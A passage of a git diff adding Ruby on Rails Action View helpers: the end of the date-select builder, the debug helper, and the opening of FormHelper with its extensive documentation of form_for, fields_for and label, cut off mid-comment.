+ text = options[:ampm] ? AMPM_TRANSLATION[i] : text
+ select_options << content_tag(:option, text, tag_options)
+ end
+
+ (select_options.join("\n") + "\n").html_safe
+ end
+
+ # Builds select tag from date type and HTML select options.
+ # build_select(:month, "<option value="1">January</option>...")
+ # => "<select id="post_written_on_2i" name="post[written_on(2i)]">
+ # <option value="1">January</option>...
+ # </select>"
+ def build_select(type, select_options_as_html)
+ select_options = {
+ :id => input_id_from_type(type),
+ :name => input_name_from_type(type)
+ }.merge!(@html_options)
+ select_options[:disabled] = 'disabled' if @options[:disabled]
+ select_options[:class] = [select_options[:class], type].compact.join(' ') if @options[:with_css_classes]
+
+ select_html = "\n"
+ select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
+ select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
+ select_html << select_options_as_html
+
+ (content_tag(:select, select_html.html_safe, select_options) + "\n").html_safe
+ end
+
+ # Builds a prompt option tag with supplied options or from default options.
+ # prompt_option_tag(:month, prompt: 'Select month')
+ # => "<option value="">Select month</option>"
+ def prompt_option_tag(type, options)
+ prompt = case options
+ when Hash
+ default_options = {:year => false, :month => false, :day => false, :hour => false, :minute => false, :second => false}
+ default_options.merge!(options)[type.to_sym]
+ when String
+ options
+ else
+ I18n.translate(:"datetime.prompts.#{type}", :locale => @options[:locale])
+ end
+
+ prompt ? content_tag(:option, prompt, :value => '') : ''
+ end
+
+ # Builds hidden input tag for date part and value.
+ # build_hidden(:year, 2008)
+ # => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
+ def build_hidden(type, value)
+ select_options = {
+ :type => "hidden",
+ :id => input_id_from_type(type),
+ :name => input_name_from_type(type),
+ :value => value
+ }.merge!(@html_options.slice(:disabled))
+ select_options[:disabled] = 'disabled' if @options[:disabled]
+
+ tag(:input, select_options) + "\n".html_safe
+ end
+
+ # Returns the name attribute for the input tag.
+ # => post[written_on(1i)]
+ def input_name_from_type(type)
+ prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
+ prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
+
+ field_name = @options[:field_name] || type
+ if @options[:include_position]
+ field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
+ end
+
+ @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
+ end
+
+ # Returns the id attribute for the input tag.
+ # => "post_written_on_1i"
+ def input_id_from_type(type)
+ id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
+ id = @options[:namespace] + '_' + id if @options[:namespace]
+
+ id
+ end
+
+ # Given an ordering of datetime components, create the selection HTML
+ # and join them with their appropriate separators.
+ def build_selects_from_types(order)
+ select = ''
+ first_visible = order.find { |type| !@options[:"discard_#{type}"] }
+ order.reverse_each do |type|
+ separator = separator(type) unless type == first_visible # don't add before first visible field
+ select.insert(0, separator.to_s + send("select_#{type}").to_s)
+ end
+ select.html_safe
+ end
+
+ # Returns the separator for a given datetime component.
+ def separator(type)
+ return "" if @options[:use_hidden]
+
+ case type
+ when :year, :month, :day
+ @options[:"discard_#{type}"] ? "" : @options[:date_separator]
+ when :hour
+ (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
+ when :minute, :second
+ @options[:"discard_#{type}"] ? "" : @options[:time_separator]
+ end
+ end
+ end
+
+ class FormBuilder
+ # Wraps ActionView::Helpers::DateHelper#date_select for form builders:
+ #
+ # <%= form_for @person do |f| %>
+ # <%= f.date_select :birth_date %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def date_select(method, options = {}, html_options = {})
+ @template.date_select(@object_name, method, objectify_options(options), html_options)
+ end
+
+ # Wraps ActionView::Helpers::DateHelper#time_select for form builders:
+ #
+ # <%= form_for @race do |f| %>
+ # <%= f.time_select :average_lap %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def time_select(method, options = {}, html_options = {})
+ @template.time_select(@object_name, method, objectify_options(options), html_options)
+ end
+
+ # Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
+ #
+ # <%= form_for @person do |f| %>
+ # <%= f.datetime_select :last_request_at %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # Please refer to the documentation of the base helper for details.
+ def datetime_select(method, options = {}, html_options = {})
+ @template.datetime_select(@object_name, method, objectify_options(options), html_options)
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/debug_helper.rb b/actionview/lib/action_view/helpers/debug_helper.rb
new file mode 100644
index 0000000000..ba47eee9ba
--- /dev/null
+++ b/actionview/lib/action_view/helpers/debug_helper.rb
@@ -0,0 +1,35 @@
+module ActionView
+ # = Action View Debug Helper
+ #
+ # Provides a set of methods for making it easier to debug Rails objects.
+ module Helpers
+ module DebugHelper
+
+ include TagHelper
+
+ # Returns a YAML representation of +object+ wrapped with <pre> and </pre>.
+ # If the object cannot be converted to YAML using +to_yaml+, +inspect+ will be called instead.
+ # Useful for inspecting an object at the time of rendering.
+ #
+ # @user = User.new({ username: 'testing', password: 'xyz', age: 42})
+ # debug(@user)
+ # # =>
+ # <pre class='debug_dump'>--- !ruby/object:User
+ # attributes:
+ # updated_at:
+ # username: testing
+ # age: 42
+ # password: xyz
+ # created_at:
+ # </pre>
+ def debug(object)
+ Marshal::dump(object)
+ object = ERB::Util.html_escape(object.to_yaml)
+ content_tag(:pre, object, :class => "debug_dump")
+ rescue Exception # errors from Marshal or YAML
+ # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
+ content_tag(:code, object.inspect, :class => "debug_dump")
+ end
+ end
+ end
+end
diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb
new file mode 100644
index 0000000000..c4371dc705
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_helper.rb
@@ -0,0 +1,1942 @@
+require 'cgi'
+require 'action_view/helpers/date_helper'
+require 'action_view/helpers/tag_helper'
+require 'action_view/helpers/form_tag_helper'
+require 'action_view/helpers/active_model_helper'
+require 'action_view/model_naming'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/string/inflections'
+
+module ActionView
+ # = Action View Form Helpers
+ module Helpers
+ # Form helpers are designed to make working with resources much easier
+ # compared to using vanilla HTML.
+ #
+ # Typically, a form designed to create or update a resource reflects the
+ # identity of the resource in several ways: (i) the url that the form is
+ # sent to (the form element's +action+ attribute) should result in a request
+ # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
+ # parameter in the case of an existing resource), (ii) input fields should
+ # be named in such a way that in the controller their values appear in the
+ # appropriate places within the +params+ hash, and (iii) for an existing record,
+ # when the form is initially displayed, input fields corresponding to attributes
+ # of the resource should show the current values of those attributes.
+ #
+ # In Rails, this is usually achieved by creating the form using +form_for+ and
+ # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
+ # tag and yields a form builder object that knows the model the form is about.
+ # Input fields are created by calling methods defined on the form builder, which
+ # means they are able to generate the appropriate names and default values
+ # corresponding to the model attributes, as well as convenient IDs, etc.
+ # Conventions in the generated field names allow controllers to receive form data
+ # nicely structured in +params+ with no effort on your side.
+ #
+ # For example, to create a new person you typically set up a new instance of
+ # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
+ # in the view template pass that object to +form_for+:
+ #
+ # <%= form_for @person do |f| %>
+ # <%= f.label :first_name %>:
+ # <%= f.text_field :first_name %><br />
+ #
+ # <%= f.label :last_name %>:
+ # <%= f.text_field :last_name %><br />
+ #
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # The HTML generated for this would be (modulus formatting):
+ #
+ # <form action="/people" class="new_person" id="new_person" method="post">
+ # <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+ # <label for="person_first_name">First name</label>:
+ # <input id="person_first_name" name="person[first_name]" type="text" /><br />
+ #
+ # <label for="person_last_name">Last name</label>:
+ # <input id="person_last_name" name="person[last_name]" type="text" /><br />
+ #
+ # <input name="commit" type="submit" value="Create Person" />
+ # </form>
+ #
+ # As you see, the HTML reflects knowledge about the resource in several spots,
+ # like the path the form should be submitted to, or the names of the input fields.
+ #
+ # In particular, thanks to the conventions followed in the generated field names, the
+ # controller gets a nested hash <tt>params[:person]</tt> with the person attributes
+ # set in the form. That hash is ready to be passed to <tt>Person.create</tt>:
+ #
+ # if @person = Person.create(params[:person])
+ # # success
+ # else
+ # # error handling
+ # end
+ #
+ # Interestingly, the exact same view code in the previous example can be used to edit
+ # a person. If <tt>@person</tt> is an existing record with name "John Smith" and ID 256,
+ # the code above as is would yield instead:
+ #
+ # <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
+ # <input name="_method" type="hidden" value="patch" />
+ # <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+ # <label for="person_first_name">First name</label>:
+ # <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
+ #
+ # <label for="person_last_name">Last name</label>:
+ # <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
+ #
+ # <input name="commit" type="submit" value="Update Person" />
+ # </form>
+ #
+ # Note that the endpoint, default values, and submit button label are tailored for <tt>@person</tt>.
+ # That works that way because the involved helpers know whether the resource is a new record or not,
+ # and generate HTML accordingly.
+ #
+ # The controller would receive the form data again in <tt>params[:person]</tt>, ready to be
+ # passed to <tt>Person#update</tt>:
+ #
+ # if @person.update(params[:person])
+ # # success
+ # else
+ # # error handling
+ # end
+ #
+ # That's how you typically work with resources.
+ module FormHelper
+ extend ActiveSupport::Concern
+
+ include FormTagHelper
+ include UrlHelper
+ include ModelNaming
+
+ # Creates a form that allows the user to create or update the attributes
+ # of a specific model object.
+ #
+ # The method can be used in several slightly different ways, depending on
+ # how much you wish to rely on Rails to infer automatically from the model
+ # how the form should be constructed. For a generic model object, a form
+ # can be created by passing +form_for+ a string or symbol representing
+ # the object we are concerned with:
+ #
+ # <%= form_for :person do |f| %>
+ # First name: <%= f.text_field :first_name %><br />
+ # Last name : <%= f.text_field :last_name %><br />
+ # Biography : <%= f.text_area :biography %><br />
+ # Admin? : <%= f.check_box :admin %><br />
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # The variable +f+ yielded to the block is a FormBuilder object that
+ # incorporates the knowledge about the model object represented by
+ # <tt>:person</tt> passed to +form_for+. Methods defined on the FormBuilder
+ # are used to generate fields bound to this model. Thus, for example,
+ #
+ # <%= f.text_field :first_name %>
+ #
+ # will get expanded to
+ #
+ # <%= text_field :person, :first_name %>
+ # which results in an HTML <tt><input></tt> tag whose +name+ attribute is
+ # <tt>person[first_name]</tt>. This means that when the form is submitted,
+ # the value entered by the user will be available in the controller as
+ # <tt>params[:person][:first_name]</tt>.
+ #
+ # For fields generated in this way using the FormBuilder,
+ # if <tt>:person</tt> also happens to be the name of an instance variable
+ # <tt>@person</tt>, the default value of the field shown when the form is
+ # initially displayed (e.g. in the situation where you are editing an
+ # existing record) will be the value of the corresponding attribute of
+ # <tt>@person</tt>.
+ #
+ # The rightmost argument to +form_for+ is an
+ # optional hash of options -
+ #
+ # * <tt>:url</tt> - The URL the form is to be submitted to. This may be
+ # represented in the same way as values passed to +url_for+ or +link_to+.
+ # So for example you may use a named route directly. When the model is
+ # represented by a string or symbol, as in the example above, if the
+ # <tt>:url</tt> option is not specified, by default the form will be
+ # sent back to the current url (We will describe below an alternative
+ # resource-oriented usage of +form_for+ in which the URL does not need
+ # to be specified explicitly).
+ # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
+ # id attributes on form elements. The namespace attribute will be prefixed
+ # with underscore on the generated HTML id.
+ # * <tt>:method</tt> - The method to use when submitting the form, usually
+ # either "get" or "post". If "patch", "put", "delete", or another verb
+ # is used, a hidden input with name <tt>_method</tt> is added to
+ # simulate the verb over post.
+ # * <tt>:authenticity_token</tt> - Authenticity token to use in the form.
+ # Use only if you need to pass custom authenticity token string, or to
+ # not add authenticity_token field at all (by passing <tt>false</tt>).
+ # Remote forms may omit the embedded authenticity token by setting
+ # <tt>config.action_view.embed_authenticity_token_in_remote_forms = false</tt>.
+ # This is helpful when you're fragment-caching the form. Remote forms
+ # get the authenticity token from the <tt>meta</tt> tag, so embedding is
+ # unnecessary unless you support browsers without JavaScript.
+ # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive
+ # JavaScript drivers to control the submit behavior. By default this
+ # behavior is an ajax submit.
+ # * <tt>:enforce_utf8</tt> - If set to false, a hidden input with name
+ # utf8 is not output.
+ # * <tt>:html</tt> - Optional HTML attributes for the form tag.
+ #
+ # Also note that +form_for+ doesn't create an exclusive scope. It's still
+ # possible to use both the stand-alone FormHelper methods and methods
+ # from FormTagHelper. For example:
+ #
+ # <%= form_for :person do |f| %>
+ # First name: <%= f.text_field :first_name %>
+ # Last name : <%= f.text_field :last_name %>
+ # Biography : <%= text_area :person, :biography %>
+ # Admin? : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # This also works for the methods in FormOptionHelper and DateHelper that
+ # are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === #form_for with a model object
+ #
+ # In the examples above, the object to be created or edited was
+ # represented by a symbol passed to +form_for+, and we noted that
+ # a string can also be used equivalently. It is also possible, however,
+ # to pass a model object itself to +form_for+. For example, if <tt>@post</tt>
+ # is an existing record you wish to edit, you can create the form using
+ #
+ # <%= form_for @post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # This behaves in almost the same way as outlined previously, with a
+ # couple of small exceptions. First, the prefix used to name the input
+ # elements within the form (hence the key that denotes them in the +params+
+ # hash) is actually derived from the object's _class_, e.g. <tt>params[:post]</tt>
+ # if the object's class is +Post+. However, this can be overwritten using
+ # the <tt>:as</tt> option, e.g. -
+ #
+ # <%= form_for(@person, as: :client) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # would result in <tt>params[:client]</tt>.
+ #
+ # Secondly, the field values shown when the form is initially displayed
+ # are taken from the attributes of the object passed to +form_for+,
+ # regardless of whether the object is an instance
+ # variable. So, for example, if we had a _local_ variable +post+
+ # representing an existing record,
+ #
+ # <%= form_for post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # would produce a form with fields whose initial state reflect the current
+ # values of the attributes of +post+.
+ #
+ # === Resource-oriented style
+ #
+ # In the examples just shown, although not indicated explicitly, we still
+ # need to use the <tt>:url</tt> option in order to specify where the
+ # form is going to be sent. However, further simplification is possible
+ # if the record passed to +form_for+ is a _resource_, i.e. it corresponds
+ # to a set of RESTful routes, e.g. defined using the +resources+ method
+ # in <tt>config/routes.rb</tt>. In this case Rails will simply infer the
+ # appropriate URL from the record itself. For example,
+ #
+ # <%= form_for @post do |f| %>
+ # ...
+ # <% end %>
+ #
+ # is then equivalent to something like:
+ #
+ # <%= form_for @post, as: :post, url: post_path(@post), method: :patch, html: { class: "edit_post", id: "edit_post_45" } do |f| %>
+ # ...
+ # <% end %>
+ #
+ # And for a new record
+ #
+ # <%= form_for(Post.new) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # is equivalent to something like:
+ #
+ # <%= form_for @post, as: :post, url: posts_path, html: { class: "new_post", id: "new_post" } do |f| %>
+ # ...
+ # <% end %>
+ #
+ # However you can still overwrite individual conventions, such as:
+ #
+ # <%= form_for(@post, url: super_posts_path) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # You can also set the answer format, like this:
+ #
+ # <%= form_for(@post, format: :json) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # For namespaced routes, like +admin_post_url+:
+ #
+ # <%= form_for([:admin, @post]) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # If your resource has associations defined, for example, you want to add comments
+ # to the document given that the routes are set correctly:
+ #
+ # <%= form_for([@document, @comment]) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # Where <tt>@document = Document.find(params[:id])</tt> and
+ # <tt>@comment = Comment.new</tt>.
+ #
+ # === Setting the method
+ #
+ # You can force the form to use the full array of HTTP verbs by setting
+ #
+ # method: (:get|:post|:patch|:put|:delete)
+ #
+ # in the options hash. If the verb is not GET or POST, which are natively
+ # supported by HTML forms, the form will be set to POST and a hidden input
+ # called _method will carry the intended verb for the server to interpret.
+ #
+ # === Unobtrusive JavaScript
+ #
+ # Specifying:
+ #
+ # remote: true
+ #
+ # in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its
+ # behavior. The expected default behavior is an XMLHttpRequest in the background instead of the regular
+ # POST arrangement, but ultimately the behavior is the choice of the JavaScript driver implementor.
+ # Even though it's using JavaScript to serialize the form elements, the form submission will work just like
+ # a regular submission as viewed by the receiving side (all elements available in <tt>params</tt>).
+ #
+ # Example:
+ #
+ # <%= form_for(@post, remote: true) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # The HTML generated for this would be:
+ #
+ # <form action='http://www.example.com' method='post' data-remote='true'>
+ # <input name='_method' type='hidden' value='patch' />
+ # ...
+ # </form>
+ #
+ # === Setting HTML options
+ #
+ # You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in
+ # the HTML key. Example:
+ #
+ # <%= form_for(@post, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
+ # ...
+ # <% end %>
+ #
+ # The HTML generated for this would be:
+ #
+ # <form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
+ # <input name='_method' type='hidden' value='patch' />
+ # ...
+ # </form>
+ #
+ # === Removing hidden model id's
+ #
+ # The form_for method automatically includes the model id as a hidden field in the form.
+ # This is used to maintain the correlation between the form data and its associated model.
+ # Some ORM systems do not use IDs on nested models so in this case you want to be able
+ # to disable the hidden id.
+ #
+ # In the following example the Post model has many Comments stored within it in a NoSQL database,
+ # thus there is no primary key for comments.
+ #
+ # Example:
+ #
+ # <%= form_for(@post) do |f| %>
+ # <%= f.fields_for(:comments, include_id: false) do |cf| %>
+ # ...
+ # <% end %>
+ # <% end %>
+ #
+ # === Customized form builders
+ #
+ # You can also build forms using a customized FormBuilder class. Subclass
+ # FormBuilder and override or define some more helpers, then use your
+ # custom builder. For example, let's say you made a helper to
+ # automatically add labels to form inputs.
+ #
+ # <%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
+ # <%= f.text_field :first_name %>
+ # <%= f.text_field :last_name %>
+ # <%= f.text_area :biography %>
+ # <%= f.check_box :admin %>
+ # <%= f.submit %>
+ # <% end %>
+ #
+ # In this case, if you use this:
+ #
+ # <%= render f %>
+ #
+ # The rendered template is <tt>people/_labelling_form</tt> and the local
+ # variable referencing the form builder is called
+ # <tt>labelling_form</tt>.
+ #
+ # The custom FormBuilder class is automatically merged with the options
+ # of a nested fields_for call, unless it's explicitly set.
+ #
+ # In many cases you will want to wrap the above in another helper, so you
+ # could do something like the following:
+ #
+ # def labelled_form_for(record_or_name_or_array, *args, &block)
+ # options = args.extract_options!
+ # form_for(record_or_name_or_array, *(args << options.merge(builder: LabellingFormBuilder)), &block)
+ # end
+ #
+ # If you don't need to attach a form to a model instance, then check out
+ # FormTagHelper#form_tag.
+ #
+ # === Form to external resources
+ #
+ # When you build forms to external resources sometimes you need to set an authenticity token or just render a form
+ # without it, for example when you submit data to a payment gateway number and types of fields could be limited.
+ #
+ # To set an authenticity token you need to pass an <tt>:authenticity_token</tt> parameter
+ #
+ # <%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f|
+ # ...
+ # <% end %>
+ #
+ # If you don't want to an authenticity token field be rendered at all just pass <tt>false</tt>:
+ #
+ # <%= form_for @invoice, url: external_url, authenticity_token: false do |f|
+ # ...
+ # <% end %>
+ def form_for(record, options = {}, &block)
+ raise ArgumentError, "Missing block" unless block_given?
+ html_options = options[:html] ||= {}
+
+ case record
+ when String, Symbol
+ object_name = record
+ object = nil
+ else
+ object = record.is_a?(Array) ? record.last : record
+ raise ArgumentError, "First argument in form cannot contain nil or be empty" unless object
+ object_name = options[:as] || model_name_from_record_or_class(object).param_key
+ apply_form_for_options!(record, object, options)
+ end
+
+ html_options[:data] = options.delete(:data) if options.has_key?(:data)
+ html_options[:remote] = options.delete(:remote) if options.has_key?(:remote)
+ html_options[:method] = options.delete(:method) if options.has_key?(:method)
+ html_options[:enforce_utf8] = options.delete(:enforce_utf8) if options.has_key?(:enforce_utf8)
+ html_options[:authenticity_token] = options.delete(:authenticity_token)
+
+ builder = instantiate_builder(object_name, object, options)
+ output = capture(builder, &block)
+ html_options[:multipart] ||= builder.multipart?
+
+ html_options = html_options_for_form(options[:url] || {}, html_options)
+ form_tag_with_body(html_options, output)
+ end
+
+ def apply_form_for_options!(record, object, options) #:nodoc:
+ object = convert_to_model(object)
+
+ as = options[:as]
+ namespace = options[:namespace]
+ action, method = object.respond_to?(:persisted?) && object.persisted? ? [:edit, :patch] : [:new, :post]
+ options[:html].reverse_merge!(
+ class: as ? "#{action}_#{as}" : dom_class(object, action),
+ id: (as ? [namespace, action, as] : [namespace, dom_id(object, action)]).compact.join("_").presence,
+ method: method
+ )
+
+ options[:url] ||= if options.key?(:format)
+ polymorphic_path(record, format: options.delete(:format))
+ else
+ polymorphic_path(record, {})
+ end
+ end
+ private :apply_form_for_options!
+
+ # Creates a scope around a specific model object like form_for, but
+ # doesn't create the form tags themselves. This makes fields_for suitable
+ # for specifying additional model objects in the same form.
+ #
+ # Although the usage and purpose of +fields_for+ is similar to +form_for+'s,
+ # its method signature is slightly different. Like +form_for+, it yields
+ # a FormBuilder object associated with a particular model object to a block,
+ # and within the block allows methods to be called on the builder to
+ # generate fields associated with the model object. Fields may reflect
+ # a model object in two ways - how they are named (hence how submitted
+ # values appear within the +params+ hash in the controller) and what
+ # default values are shown when the form the fields appear in is first
+ # displayed. In order for both of these features to be specified independently,
+ # both an object name (represented by either a symbol or string) and the
+ # object itself can be passed to the method separately -
+ #
+ # <%= form_for @person do |person_form| %>
+ # First name: <%= person_form.text_field :first_name %>
+ # Last name : <%= person_form.text_field :last_name %>
+ #
+ # <%= fields_for :permission, @person.permission do |permission_fields| %>
+ # Admin? : <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # <%= person_form.submit %>
+ # <% end %>
+ #
+ # In this case, the checkbox field will be represented by an HTML +input+
+ # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
+ # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
+ # If <tt>@person.permission</tt> is an existing record with an attribute
+ # +admin+, the initial state of the checkbox when first displayed will
+ # reflect the value of <tt>@person.permission.admin</tt>.
+ #
+ # Often this can be simplified by passing just the name of the model
+ # object to +fields_for+ -
+ #
+ # <%= fields_for :permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # ...in which case, if <tt>:permission</tt> also happens to be the name of an
+ # instance variable <tt>@permission</tt>, the initial state of the input
+ # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
+ #
+ # Alternatively, you can pass just the model object itself (if the first
+ # argument isn't a string or symbol +fields_for+ will realize that the
+ # name has been omitted) -
+ #
+ # <%= fields_for @person.permission do |permission_fields| %>
+ # Admin?: <%= permission_fields.check_box :admin %>
+ # <% end %>
+ #
+ # and +fields_for+ will derive the required name of the field from the
+ # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
+ # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
+ #
+ # Note: This also works for the methods in FormOptionHelper and
+ # DateHelper that are designed to work with an object as base, like
+ # FormOptionHelper#collection_select and DateHelper#datetime_select.
+ #
+ # === Nested Attributes Examples
+ #
+ # When the object belonging to the current scope has a nested attribute
+ # writer for a certain attribute, fields_for will yield a new scope
+ # for that attribute. This allows you to create forms that set or change
+ # the attributes of a parent object and its associations in one go.
+ #
+ # Nested attribute writers are normal setter methods named after an
+ # association. The most common way of defining these writers is either
+ # with +accepts_nested_attributes_for+ in a model definition or by
+ # defining a method with the proper name. For example: the attribute
+ # writer for the association <tt>:address</tt> is called
+ # <tt>address_attributes=</tt>.
+ #
+ # Whether a one-to-one or one-to-many style form builder will be yielded
+ # depends on whether the normal reader method returns a _single_ object
+ # or an _array_ of objects.
+ #
+ # ==== One-to-one
+ #
+ # Consider a Person class which returns a _single_ Address from the
+ # <tt>address</tt> reader method and responds to the
+ # <tt>address_attributes=</tt> writer method:
+ #
+ # class Person
+ # def address
+ # @address
+ # end
+ #
+ # def address_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # This model can now be used with a nested fields_for, like so:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # Street : <%= address_fields.text_field :street %>
+ # Zip code: <%= address_fields.text_field :zip_code %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When address is already an association on a Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address
+ # end
+ #
+ # If you want to destroy the associated model through the form, you have
+ # to enable it first using the <tt>:allow_destroy</tt> option for
+ # +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_one :address
+ # accepts_nested_attributes_for :address, allow_destroy: true
+ # end
+ #
+ # Now, when you use a form element with the <tt>_destroy</tt> parameter,
+ # with a value that evaluates to +true+, you will destroy the associated
+ # model (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :address do |address_fields| %>
+ # ...
+ # Delete: <%= address_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # ==== One-to-many
+ #
+ # Consider a Person class which returns an _array_ of Project instances
+ # from the <tt>projects</tt> reader method and responds to the
+ # <tt>projects_attributes=</tt> writer method:
+ #
+ # class Person
+ # def projects
+ # [@project1, @project2]
+ # end
+ #
+ # def projects_attributes=(attributes)
+ # # Process the attributes hash
+ # end
+ # end
+ #
+ # Note that the <tt>projects_attributes=</tt> writer method is in fact
+ # required for fields_for to correctly identify <tt>:projects</tt> as a
+ # collection, and the correct indices to be set in the form markup.
+ #
+ # When projects is already an association on Person you can use
+ # +accepts_nested_attributes_for+ to define the writer method for you:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects
+ # end
+ #
+ # This model can now be used with a nested fields_for. The block given to
+ # the nested fields_for call will be repeated for each instance in the
+ # collection:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # <% if project_fields.object.active? %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # It's also possible to specify the instance to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <% @person.projects.each do |project| %>
+ # <% if project.active? %>
+ # <%= person_form.fields_for :projects, project do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # <% end %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Or a collection to be used:
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+ # Name: <%= project_fields.text_field :name %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # If you want to destroy any of the associated models through the
+ # form, you have to enable it first using the <tt>:allow_destroy</tt>
+ # option for +accepts_nested_attributes_for+:
+ #
+ # class Person < ActiveRecord::Base
+ # has_many :projects
+ # accepts_nested_attributes_for :projects, allow_destroy: true
+ # end
+ #
+ # This will allow you to specify which models to destroy in the
+ # attributes hash by adding a form element for the <tt>_destroy</tt>
+ # parameter with a value that evaluates to +true+
+ # (eg. 1, '1', true, or 'true'):
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Delete: <%= project_fields.check_box :_destroy %>
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # When a collection is used you might want to know the index of each
+ # object into the array. For this purpose, the <tt>index</tt> method
+ # is available in the FormBuilder object.
+ #
+ # <%= form_for @person do |person_form| %>
+ # ...
+ # <%= person_form.fields_for :projects do |project_fields| %>
+ # Project #<%= project_fields.index %>
+ # ...
+ # <% end %>
+ # ...
+ # <% end %>
+ #
+ # Note that fields_for will automatically generate a hidden field
+ # to store the ID of the record. There are circumstances where this
+ # hidden field is not needed and you can pass <tt>include_id: false</tt>
+ # to prevent fields_for from rendering it automatically.
+ def fields_for(record_name, record_object = nil, options = {}, &block)
+ builder = instantiate_builder(record_name, record_object, options)
+ capture(builder, &block)
+ end
+
+ # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
+ # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
+ # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
+ # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
+ # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
+ # target labels for radio_button tags (where the value is used in the ID of the input tag).
+ #
+ # ==== Examples
+ # label(:post, :title)
+ # # => <label for="post_title">Title</label>
+ #
+ # You can localize your labels based on model and attribute names.
+ # For example you can define the following in your locale (e.g. en.yml)
+ #
+ # helpers:
+ # label:
+ # post:
+ # body: "Write your entire text here"
+ #
+ # Which then will result in
+ #
+ # label(:post, :body)
